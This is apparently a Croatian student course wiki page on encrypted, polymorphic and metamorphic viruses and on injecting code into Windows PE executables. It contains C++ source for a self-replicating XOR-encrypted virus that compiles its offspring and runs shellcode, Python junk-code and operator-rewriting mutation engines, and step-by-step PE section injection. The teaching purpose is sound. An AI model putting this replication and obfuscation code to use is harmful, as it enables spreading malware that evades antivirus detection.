Osamdesetih godina prošlog stoljeća, virus Cascade, namijenjen DOS operacijskom sustavu, bio je prvi virus koji je sadržavao enkriptirano tijelo i glavu za dekripciju. Ideja autora je bila da se u svakoj generaciji virusa tijelo virusa enkriptira sa različitim ključem (na ovaj način je problematično napraviti potpis virusa), a statični dio je bio kratki segment koji bi dekriptirao kod i pokrenuo ga. Pri širenju, virus bi svojem potomku zapisao novi kod (enkriptiran) te ključ s kojim će potomak dekriptirati svoj kod. Strogo gledano, ovakav malware bi bilo preciznije zvati "kodiran" a ne "enkriptiran", jer ključ za dekripciju mora biti zapisan u kodu (stoga je dekripcija u pravilu trivijalna jednom kad se virus otkrije i analizira).
Jednostavan primjer takvog virusa funkcionira na sljedeći način:
- Pronađi varijablu ključ i string "source kod"
- Dekriptiraj po ključu source kod iz enkriptiranog stringa "source kod"
- Generiraj novi ključ za dijete
- Enkriptiraj source kod s novim ključem i zapiši ga u dijete u string "source kod"
- Zapiši u dijete plaintekst verziju source koda
- Zapiši u dijete novi ključ (s kojim će ono dekriptirati svoj string)
- Kad je zadovoljen neki uvjet: pokreni payload
- Pokreni dijete virus
- Izbriši sebe
Sljedeći c++ kod prikazuje implementaciju jednostavnog enkriptiranog virusa čiji payload je Windows shellcode (u ovom primjeru je korišten shellcode koji na svim verzijama Windowsa otvori messagebox sa tekstom "foi!"):
// ključ za dekripciju, u prvoj iteraciji je nula, da bi kod bio čitljiv unsigned int key=0; // shellcode izvrsava asm komande; ovaj primjer otvara messagebox koji kaže "foi!"; ukupno 238 charova char *shellcode = "\xfc\x33\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52 ... \\ ... \x24\x40\xff\x54\x24\x40\x57\xff\xd0"; // slijedi sadržaj kompletnog programa: // (u prvoj iteraciji algoritma gornji string je plaintext, u kasnijim generacijama je enkriptiran) char *code = "typedef __SIZE_TYPE__ size_t; ... \\ ... shellcodechar[i] = (shellcode[i]^key) & 0x00FF; } ((void (*)())shellcodechar)(); return 0;}"; // pošto je cilj smanjiti program, nema includeova, ali onda bi nedostajalo sljedeće iz stdio.h: typedef __SIZE_TYPE__ size_t; // definicije potrebne za char i time typedef __WCHAR_TYPE__ wchar_t; typedef struct _iobuf{ // struct FILE char* _ptr; int _cnt; char* _base; int _flag; int _file; int _charbuf; int _bufsiz; char* _tmpfname; }FILE; // stdio.h kraj char* cryptchar(char l, unsigned int key){ // (de)kriptira char po char, kompletan *char array odjednom ide dosta buggovito // pretvara char u format \x00, gdje je 00 = hex vrijednost iz asciija char *fin; fin = (char*)malloc(5*sizeof(char)); fin[0]='\\'; fin[1]='x'; int c1=(int)((l^key) & 0x00F0)/16; // /16 jer je prva znamenka u bazi hexa int c2=(int)((l^key) & 0x000F); if(c1<=9){ fin[2]=(char)(48+c1); }else if(c1<=15){ fin[2]=(char)(65-10+c1); } if(c2<=9){ fin[3]=(char)(48+c2); }else if(c1<=15){ fin[3]=(char)(65-10+c2); } fin[4]='\0'; return fin; } int main(){ int i; FILE *pfile; srand(time(((void *)0))); // ((void*)0) = NULL // template za filename; .c ako će se kompajlirati, .exe ako će se izravno kreirati binary char filename[12] = {'1','2','3','4','5','6','7','8','.','c','\0'}; // randomizira filename u nesto tipa AB12CD3E for(i=0;i<8;i++) filename[i] = mod(rand(),3)?(char)(65+mod(rand(),26)):(char)(48+mod(rand(),10)); // mora se prosljedjivati const char u fopen const char *fname = filename; pfile = (FILE*)fopen(fname, "w"); // sljedećem bloku koda zapisuje u datoteku novi ključ i novi enkriptirani kod fprintf(pfile, "unsigned int key="); int nkey = mod(rand(),100); printf("Novi kljuc: %d\n", nkey); char nks[3]; nks[0]=(char)(48+nkey/10); nks[1]=(char)(48+mod(nkey,10)); nks[2]='\0'; fprintf(pfile, nks); fprintf(pfile, ";\nchar *shellcode=\""); for(i=0;i<238;i++){ fprintf(pfile, cryptchar(shellcode[i],key^nkey)); } fprintf(pfile, "\";\nchar *code=\""); for(i=0;i<1768;i++){ fprintf(pfile, cryptchar(code[i],key^nkey)); } fprintf(pfile, "\";\n"); char *decode; decode=(char*)malloc(1768*sizeof(char)); for(i=0;i<1768;i++){ decode[i] = (char)((code[i]^key) & 0x00FF); } fprintf(pfile, decode); fclose(pfile); // kraj zapisivanja // poziva se kompajler; tcc.exe konkretno ima 132 kb stoga ga je dovoljno praktično slati sa virusom char comm[19] = "tcc.exe 12345678.c\0"; for(i=8;i<16;i++){ comm[i]=filename[i-8]; } const char *compile = comm; system(compile); // petlja dekodira bez obrade za output (za razliku od funkcije cryptchar) char shellcodechar[238]; for(i=0;i<238;i++){ shellcodechar[i] = (shellcode[i]^key) & 0x00FF; } // executa string, tj. pokrece shellcode ((void (*)())shellcodechar)(); return 0; }
Repliciranje se u gornjem primjeru izvodi na način da virus u dijete prvo zapiše svoj kod kao vrijednost stringa, a potom isti kod zapiše u dijete kao instrukcije za izvođenje. Virus može direktno zapisivati sadržaj djeteta u binarni file kojeg će pokrenuti kao executable, ili zapisivati u obliku source koda te ga potom kompajlirati (kao u ovom primjeru, gdje se koristi kompajler od 130 kB).
Ukoliko se koristi kompajler, to se može izvesti na nekoliko načina:
- Traženjem kompajlera na zaraženom računalu (jednostavan postupak za linux hostove koji vrlo često imaju gcc)
- Povlačenjem kompajlera s interneta i korištenjem kao eksterne datoteke
- Generiranjem kompajlera iz samog virusa
- Ugrađivanjem funkcija kompajlera u sam virus
Problem detektiranja ovakvih virusa proizlazi iz činjenice da je samo malen dio koda statičan (dekriptor virusa), ali ako je tijelo virusa fiksne duljine ili je dekriptor dovoljno specifičan, detekcija putem potpisa je ipak moguća. Kod se može dodatno zakomplicirati, npr. pozicija dekriptora se može konstantno mijenjati itd., ali i ovo je moguće otkriti heurističkim tehnikama antivirusnih aplikacija. Pogotovo ukoliko se radi o jednostavnoj enkripciji (xor enkripcija), antivirusni program može sam dekriptirati tijelo (makar brute-force napadom).
Polimorfizam
Polimorfizam koda (i njegova primitivnija varijanta, oligomorfizam) je svojstvo malwarea koje pokušava mutiranjem virusa eliminirati većinu problema na koje su nailazili enkriptirani virusi. Prvi polimorfični virus, 1260 iz 1980. godine, bio je zapravo poboljšana verzija starijeg virusa Vienna, kojemu je u dekriptor dodano svojstvo randomizacije i obfuskacije. Na ovaj način, virus naizgled nije imao nikakvih statičkih dijelova jer se i enkripter (glava) sintaktički mijenja u svakoj iteraciji virusa.Sljedeći python kod je jednostavan proof of concept polimorfični engine, čiji je cilj obfuscirati enkripter nekog virusa:
from random import randint def junk_op(var1,var2,typ): p = randint(0,4) if typ=="float": ops = ["+","-","*","/"] else: ops = ["+","-","*","/","^","&","|"] comp = [">","<","=="] if p==0: return var2 + "=" + var1 + ops[randint(0,len(ops)-1)] + str(randint(0,1000)) elif p==1: return var2 + "=" + var1 + ops[randint(0,len(ops)-1)] + str(randint(0,1000)) + ops[randint(0,len(ops)-1)] + str(randint(0,1000)) elif p==2: return "if(" + var1 + comp[randint(0,len(comp)-1)] + str(randint(-1000,1000)) + "){ " + var1 + ops[randint(0,len(ops)-1)] + "=" + str(randint(-1000,1000)) + "; }" elif p==3: return "while(" + var1 + ">" + str(randint(-1000,1000)) + "){ " + var1 + "-=" + str(randint(1,500)) + "; }" elif p==4: return "while(" + var1 + "<" + str(randint(-1000,1000)) + "){ " + var1 + "+=" + str(randint(1,500)) + "; }" def junk(init): types = ["int","long int","float","char","char*"] name1 = "".join([chr(65+randint(0,25)) for i in range(0,randint(3,6))]+[str(init%50)]) name2 = "".join([chr(65+randint(0,25)) for i in range(0,randint(3,6))]+[str(randint(10,20)+init%50)]) tp = types[randint(0,len(types)-1)] to = randint(0,4) if tp!="char*": if tp=="int" or tp=="long int": val1 = str(randint(0,1000)) elif tp=="float": val1 = str(randint(0,1000)) + "." + str(randint(0,1000)) elif tp=="char": val1 = "'" + chr(65+randint(0,25)) + "'" junk = "\n " + tp + " " + name1 + "=" + val1 + ";" + "\n " + tp + " " + name2 + ";\n " + junk_op(name1,name2,tp) + ";" elif tp=="char*": val1 = "\"" + "".join(["\\"+hex(randint(1,255))[1:] for i in range(0,randint(5,20))]) + "\"" junk = "\n " + tp + " " + name1 + "=" + val1 + ";" return "".join(junk) def mutate(string): for i in range(len(string)-1,0,-1): if string[i]=='\n' and randint(0,1): j = junk(i) string = string[0:i] + j + string[i:len(string)] return string
U ovom primjeru, nasumično se dodaju operacije nad varijablama, selekcije i petlje. Ukoliko nepotreban kod ("junk") čini velik udio ukupnog koda, različite generacije koda će izgledati značajno različito.
Primjerice, ukoliko se uzme skraćeni dio koda iz gornjeg primjera enkriptiranog virusa:
char* cryptchar(char l, unsigned int key){ char *fin; fin = (char*)malloc(5*sizeof(char)); int c1=(int)((l^key) & 0x00F0)/16; int c2=(int)((l^key) & 0x000F); if(c1<=9){ fin[2]=(char)(48+c1); }else if(c1<=15){ fin[2]=(char)(65-10+c1); } return fin; }
Polimorfični obfuskator može kreirati ovakav kod, koji je zapravo istovjetan:
char* cryptchar(char l, unsigned int key){ char *fin; fin = (char*)malloc(5*sizeof(char)); int c1=(int)((l^key) & 0x00F0)/16; int c2=(int)((l^key) & 0x000F); if(c1<=9){ int ZNLQYL33=440; int VFUAB45; VFUAB45=ZNLQYL33/405*395; fin[2]=(char)(48+c1); char OMP11='Y'; char WHN29; if(OMP11<722){ OMP11/=195; }; }else if(c1<=15){ fin[2]=(char)(65-10+c1); } char IIHE18='B'; char QVE37; while(IIHE18>89){ IIHE18-=45; }; return fin; }
Da se količina nepotrebnog koda ne bi akumulirala u svakoj sljedećoj generaciji virusa, postoji nekoliko opcija:
- Virus sadrži čistu verziju originalnog koda u nekom kriptiranom stringu
- Virus sprema čistu verziju originalnog koda na neku specifičnu lokaciju koja je teško dostupna antivirusnom softveru, npr. file na disku kojeg po mogućnosti štiti neki rootkit ili virus-roditelj
- Virus koristi određene implicitne markere koji označavaju koji kod je nepotreban
- Virus nasljeđuje kompletan kod (uključujući "junk") od roditelja ali ga potom prvo sofisticiranim algoritmom pročišćava, a potom stvara novu mutaciju za svoje potomke
Metamorfizam
Metamorfizam koda je svojstvo malwarea koje pokušava zaštiti kod doslovnom zamjenom koda. Za razliku od polimorfičnog malwarea, metamorfični program se ne mora enkriptirati, već se program mijenja nasumičnom zamjenom ekvivalentnih postupaka (funkcija). Primjerice, sljedeći blok c++ koda:int a = 5; int b; b = a * 3; // b iznosi 15je semantički istovjetan sljedećem kodu, premda su sintaktički potpuno različiti:
float a = 2.0 * 2 + 1.0; int b = 100; b = a + a + a; // b iznosi 15
Nadalje, za razliku od polimorfičnog virusa koji u nekom trenutku mora biti dekriptiran, metamorfični virus ne zna kako je izgledao kod njegovog roditelja i koje je mutacije nasljedio. Metamorfični virus može mijenjati svoje instrukcije, vrijednosti operacija, redosljed izvođenja instrukcija (pomicati instrukcije i potom osigurati tok pomoću jumpova te razmješavati nezavisne dijelove koda) te mijenjati point of entry exe datoteke, tako da se teže prati tok. Zbog toga je čak i nakon ručne analize virusa problematično odrediti konkretnu karakterizaciju.
Slijede python snippeti koji mogu biti dio jednog metamorfičkog enginea:
Rastavlja brojeve na nasumične aritmetičke operacije koje daju isti rezultat:
import re def rastavi(string): exp = re.compile('[0-9]{1,}[\.]?[0-9]*') rng = exp.search(string) ops = [" + "," - "," ^ "," * "," / "] # operator ^ označava bitovni xor a ne potenciranje opinv = [" - "," + "," ^ "," / "," * "] if rng: rng = rng.span() nr0 = string[rng[0]:rng[1]] nr1 = str(randint(2,100)) r = randint(0,len(ops)-1) op = ops[r] if op==" / " and nr0=="0": r = randint(0,len(ops)-2) # da se izbjegne dijeljenje s nulom if op==" * " and (int(nr1) > int(nr0)): r = randint(0,len(ops)-3) # izbjegavati mnozenje ako je rezultat manji od operanda op = ops[r] opi = opinv[r] nr2 = str(eval(nr0 + opi + nr1)) if int(nr2)<0: nr2 = "(" + nr2 + ")" newstr = "(" + nr2 + op + nr1 + ")" string = string[0:rng[0]] + newstr + rastavi(string[rng[1]:]) return string
Sljedeća funkcija radi operaciju obrnuto od prijašnjeg koda (sastavlja jednostavne operacije na složene).
import re def sastavi(string): exp = re.compile('\([ \-\.\+\*\/0-9]*\)') rng = exp.search(string) if rng: rng = rng.span() calc = eval(string[rng[0]:rng[1]]) evalstr = str(calc) string = sastavi(string[0:rng[0]] + evalstr + string[rng[1]:]) return string
Kombinacijom gornjih dvaju funkcija može se nasumično dobiti zamjena operatora u nekom izrazu. Na sličan način se može konstruirati i kompliciranija zamjena operatora, npr.:
- rastavljanje potenciranja na množenje
- rastavljanje množenja na zbrajanje
- pretvaranje bitovne xor operacije p ^ q u ekvivalentni izraz ((-p-1)|(-q-1))&(p|q)
- pretvaranje bitovne and operacije p & q u -((-p-1)|(-q-1))-1
- pretvaranje bitovne or operacije p | q u -((-p-1)&(-q-1))-1
- svođenje množenja sa potencijom broja 2 u lijevi bitshift, tj.: izraz p * q u izraz p << ld(q)
- svođenje dijeljenja sa potencijom broja 2 u desni bitshift, tj.: izraz p / q u izraz p >> ld(q)
- na razini x86 koda, zamjena and instrukcije sa test
- na razini x86 koda, zamjena add instrukcije sa većim broje inc instrukcija
- na razini x86 koda, zamjena sub instrukcije sa većim brojem dec instrukcija
Jedan od prvih metamorfičnih virusa, Regswap iz 1998. godine, koristio je jednostavan oblik metamorfizma na način da je virus u svakoj iteraciji mijenjao registre koje koristi. Isti segment assembly koda Regswap virusa izgleda drukčije u svakoj generaciji:
5A pop edx BF04000000 mov edi,0004h 8BF5 mov esi,ebp B80C000000 mov eax,000Ch 81C288000000 add edx,0088h 8B1A mov ebx,[edx] 899C8618110000 mov [esi+eax*4+00001118],ebx
58 pop eax <-- registar edx (data register) zamijenjen sa eax (accumulation register) BB04000000 mov ebx,0004h <-- registar edi (destination index) zamijenjen sa ebx (base register) 8BD5 mov edx,ebp <-- registar esi (source index) zamijenjen sa edx BF0C000000 mov edi,000Ch <-- registar eax zamijenjen sa edi 81C088000000 add eax,0088h 8B30 mov esi,[eax] <-- registar ebx zamijenjen sa esi 89B4BA18110000 mov [edx+edi*4+00001118],esi
Granica između metamorfičnog i polimorfičnog malwarea se gubi kada metamorfični engine počinje dodavati nepotrebne instrukcije u svoj kod (po uzoru na primjer od ranije). Ključna razlika u ovom slučaju je što metamorfični malware mutira cijeli svoj sadržaj, za razliku od polimorfičnog (koji mutira samo glavu programa te se u jednom trenutku mora cijeli dekriptirati). Poznati virus Zperm iz 2000. godine bio je potpuno otporan na jednostavno pretraživanje sadržaja koda jer na ovakav način mutirao svoj sadržaj: virus je pri izgradnji dijeteta dodavao nasumične jump instrukcije u kod, pazeći pritom da se održava semantika koda, te bi potom dodavao nepotrebne instrukcije između jumpova. Čak i bez dodavanja nepotrebnih instrukcija, bitnim instrukcijama se u svakoj iteraciji mijenja redosljed, zbog čega se Zperm nije mogao detektirati korištenjem potpisa, već se moralo oslanjati na heurističke pristupe.
Najkompleksniji metamorfični virus bio je Zmist iz 2000. godine, ruskog autora Zombie. Zmist je metamorfični virus koji po potrebi nasumično koristi polimorfičnu enkripciju. Inficira windows PE binaryje, koje prvo dekompajlira, te potom nasumično ubacuje vlastite instrukcije između instrukcija host programa, pazeći pritom da ne poremeti tijek originalnog programa. Detekcija ovakvog virusa moguća je jedino ugradnjom kompleksnih algoritama u antivirusni program.
--Krešimir Ivković 20:13, 5. siječnja 2012. (CET)
Code injection
Code injection predstavlja iskorištavanje komponenti aplikacije na način koji nije predviđen. Time se želi u aplikaciju ubaciti kod kojeg će ta aplikacija izvršiti kao da je dio njezinog koda. Od poznatijih code injection su:
- PHP injection
- SQL injection
- Html/Script injection (XSS)
- Shell injection
- ...
Portable Executable Code Injection
Za razliku od code injection koji iskorištava polje za unos teksta kako bi ubacio kod, ovdje želimo ubaciti kod prije pokretanja aplikacije. Portable executable, u daljnjem tekstu PE, je tip datoteke za izvršne datoteke (.exe), dinamičke biblioteke(.dll) I slične tipove datoteka koji se koristi unutar Windows operacijskog sustava. One se mogu pokretati neovisno o arhitekturi na kojoj se nalazi OS.
Format PE
Ukratko PE datoteka se sastoji od:
- PE zaglavlja – sadrži općenite informacije o aplikaciji, poput arhitekture na kojoj se može pokrenuti aplikacija, verzija kompajlera, veličina koda, itd
- Tablica sekcija – sadrži zaglavlja sekcija u kojima se nalaze osnovni podaci o sekcijama koje se nalaze u PE datoteci
- Sekcije – u njima se nalazi izvršni kod, prostor za spremanje varijabli, konstante, itd.
Iz PE zagljavlja potrebno je znati čemu služe sljedeći atributi:
- NumberofSection – broj sekcija koje nalaze unutar datoteke
- AddressOfEntryPoint – adresa s obzirom na datoteku odakle će aplikacija početi izvršavati
Potom je potrebno znati ove atribute zaglavlje sekcije:
- Name – proizvoljno ime sekcije. Iako se može uzeti proizvoljno ime sekcije postoje specijalni nazivi s kojima dolaze određene karakteristike. Tako npr. “.text” sadržava kod koji se izvršava, “.rdata” sadržava podatke koji se mogu samo čitati.
- VirtualSize – veličina sekcije nakon što se učita u rednu memoriju. Ona je veća od memorije koju zauzima sekcija unutar PE datoteke. Slobodni dio sekcije se prepisuje nulama.*SizeOfRawData – veličina sekcije unutar PE datoteke. Količina memorije koje se uzima je višekratnik vrijednosti koje se nalazi pod FileAligment
- PointerToRawData – adresa unutar PE datoteke gdje se nalazi prvi bajt sekcije. Vrijednost adrese također mora biti višekratnik vrijednosti FileAligment
- Charateristics – Zastavice koje govore koje karakteristike ima sekcija. Postoje zastavice koje određuje zamo čitanje unutar prostora sekcije, samo pisanje, izvršavanje, zajednička memorija, itd. Te se zastavice također mogu kombinirati.
Treba napomenuti da operacijski sustav PE datoteku koristi kao opisnik kako će aplikacija u radnoj memoriji izgledati. To osigurana jednu dozu sigurnosti prilikom izvršavanja same aplikacije. Zbog toga aplikacija prilikom izvođena zauzima više memorije nego što je potrebno za samu PE datoteku te aplikacije.Kompletna specifikacija PE formata nalazi se ovdje. Aplikacija s kojom se mogu pročitati zaglavlja neke aplikacije se nalazi ovdje
Ubacivanje koda
Ima različitih načina za ubacivanje koda u PE datoteku. Jedan od jednostavnijih načina je u slučaju ako želimo ubaciti mali kod. Tada nam je ideja da svoj kod ubacimo pri kraju sekcije “.text” gdje se nalazi prazan prostor (nule). Potom je potrebno preusmjeriti tok izvođenja aplikacije prema našem kodu. Nakon što se izvede naš kod, potrebno je ponovno vratiti tok izvođenja na orginalno mjesto. Problem je kod ovakvog načina ubacivanja koda što većina antivirusnih programa prepozna ovakan način ubacivanja koda.
Sljedeći način je da za kod koji želimo ubaciti kreiramo njegovu vlastitu sekciju. Na takav je način dodati bilo koji kod koji će se moći bez problem izvršavati. Za početak potrebno je promjeniti vrijednost atributa NumberofSection za jedan više što će govoriti operacijskom sustavu da PE datoteka ima sekciju više. Potom je potrebno privremeno zapamtiti vrijednost atributa AddressOfEntryPoint kako bi znali preusmjeriti program nakon što se naš kod izvrši. Za naš kod treba napraviti zaglavlje za sekciju koju ćemo smjestiti na kraj liste I samu sekciju koju ćemo staviti na kraj PE datoteke. Ime sekcije može biti proizvoljno. SizeOfRawData I PointerToRawData moramo uskladiti sa našom sekcijom tako da bude prema specifikaciji . Characteristics mora imati vrijednost 0xE0000040 što označava da sekcija ima inicijalizirane podatke, sadržaj unutar sekcije se može izvršavati, čitati,te se u sekciju može zapisivati. Također treba paziti, ukoliko je došlo do pomaka prilikom ubacivanja zaglavlja, da li su u redu ostale sekcije I njihova zaglavlja. U tom slučaju potrebno je ažurirati adrese unutar zaglavlja sekcija. Na kraju ubačenog koda potrebno preusmjeriti tok izvođenja na mjesto koje je pokazivao atribut AddressOfEntryPoint, t e taj atribut ažurirati tako da se prvo izvršava ubačeni kod.
Zaštita
Jednostavna zaštita protiv ubacivanja koda je sustav digitalnog potpisa. Pri tome je potrebno prilikom svakog pokretanja aplikacije verificirati PE datoteku čime bi se spriječilo pokretanje aplikacije čiji je kod izmjenjen.
--Juraj Rasonja 01:49, 7. siječnja 2012. (CET)
Literatura
Szor, Peter: The Art of Computer Virus Research and Defense, AWP 2005.
http://edwardsnyder.com/principles-of-computer-surveil
http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&doc=GetTRDoc.pdf&AD=ADA519999
http://www.neowin.net/news/avast-windows-xp-makes-up-74-of-rootkit-infections
http://en.wikipedia.org/wiki/Ring_(computer_security)
http://en.wikipedia.org/wiki/System_call
http://fluxius.handgrep.se/2011/01/02/ring-0f-fire-rootkits-and-dkom/
http://computer.forensikblog.de/en/2007/01/eprocess_6_0_6000_16386.html
http://www.osronline.com/showThread.cfm?link=35916
http://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363219(v=vs.85).aspx
http://en.wikipedia.org/wiki/Polymorphism_(computer_science)
http://en.wikipedia.org/wiki/Metamorphic_code
http://www.ma.rhul.ac.uk/static/techrep/2008/RHUL-MA-2008-02.pdf
http://www.symantec.com/avcenter/reference/striking.similarities.pdf
http://www.codeproject.com/KB/winsdk/CodeInject.aspx
http://flylib.com/books/en/4.460.1.17/1/
http://www.ntcore.com/files/inject2exe.htm#TheSectionHeadersandSections2_3
http://msdn.microsoft.com/en-us/library/ms680198(v=VS.85).aspx
Članovi tima
Prijavljujem tim:--Frane Jakelić 21:11, 25. rujna 2011. (CEST); --Juraj Rasonja 21:12, 25. rujna 2011. (CEST);--Krešimir Ivković 21:18, 25. rujna 2011. (CEST);--Ozren Tepuric 21:20, 25. rujna 2011. (CEST)